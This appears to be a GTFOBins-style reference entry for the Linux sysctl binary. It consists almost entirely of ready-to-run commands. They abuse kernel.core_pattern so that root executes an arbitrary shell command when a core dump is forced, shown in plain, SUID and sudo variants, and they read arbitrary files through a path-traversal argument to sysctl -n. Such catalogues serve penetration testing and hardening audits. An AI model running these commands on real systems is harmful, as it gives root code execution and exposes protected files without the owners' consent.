| description |
code |
| The command is executed by root in the background when a core dump occurs. |
COMMAND='/bin/sh -c id>/tmp/id'
sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
|
|
|
| description |
code |
| The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files. |
LFILE=file_to_read
/usr/sbin/sysctl -n "/../../$LFILE"
|
|
|
| code |
| COMMAND='/bin/sh -c id>/tmp/id'
./sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
|
|
|
| code |
| COMMAND='/bin/sh -c id>/tmp/id'
sudo sysctl "kernel.core_pattern=|$COMMAND"
sleep 9999 &
kill -QUIT $!
cat /tmp/id
|
|
|
